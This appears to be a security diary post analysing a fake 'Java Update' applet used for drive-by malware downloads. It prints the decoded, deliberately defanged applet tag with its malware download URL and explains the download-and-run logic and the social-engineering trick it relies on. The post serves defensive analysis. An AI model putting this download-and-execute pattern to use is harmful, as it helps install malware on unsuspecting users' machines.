Following our earlier post on nasty network address ranges, ISC reader Tom wrote in with some interesting logs. His information ties a recent wave of Java exploits to several addresses in the same 91.204.48.0/22 netblock. The latest exploits in this case start with a file called "new.htm", which contains obfuscated code as follows

This is easy to unravel - the numbers are Unicode and can be turned back into plain ASCII characters with a Perl line like this:

cat new.htm | perl -pe 's/u00(..)/chr(hex($1))/ge'

The resulting file looks as follows

applet name="Java Update" code="Polat. class" archive="Hidden. jar" height="10" width="1"
param name="url" value="hxxp://benaguasil. net/host.exe"

Yes, the above is slightly modified .. I tried to keep it plain enough that this diary can still be found via web search, but obfuscated enough to keep the less sophisticated anti-virus tools (like 90% of them) from triggering on this diary just because of the file name...

Nicely enough, we don't even have to use "jad" to decompile the Java class file - the "url" parameter passed to the applet is kinda telling all by itself. The good news is that "host.exe" already has pretty decent anti-virus coverage on VirusTotal. 

But .. let's look at the Polat.class file anyway.

Nothing much going on here. A lot of smoke and mirrors, but basically, this Java Applet simply downloads the URL passed as a parameter (red underlines), writes it to a temp file called "javafire.exe", and then tries to run the file (red box). If this doesn't work, the Applet creates a file named "firem.bat" containing a command to start javafire.exe, and then tries to launch the batch file.

Huh? Download and run? Shouldn't the Java Sandbox prevent this?

Sure. This "openConnection-and-run" method of drive-by download only works when it is paired with a Java exploit. Which is not the case here, the Java file is clean, and doesn't contain any exploit for a recent vulnerability. So what gives? Well, let's try it out, and see what happens...

A-ha! If you don't have any zero-days, you can always go back to exploiting the human! This is independent of the JRE version used - with JRE default settings, even on JRE1.6-23, all the user has to do is click "Run" to get owned.  The one small improvement is that the latest JREs show "Publisher: (NOT VERIFIED) Java Sun" in the pop-up, but I guess that users who read past the two exclamation marks will be bound to click "Run" anyway ...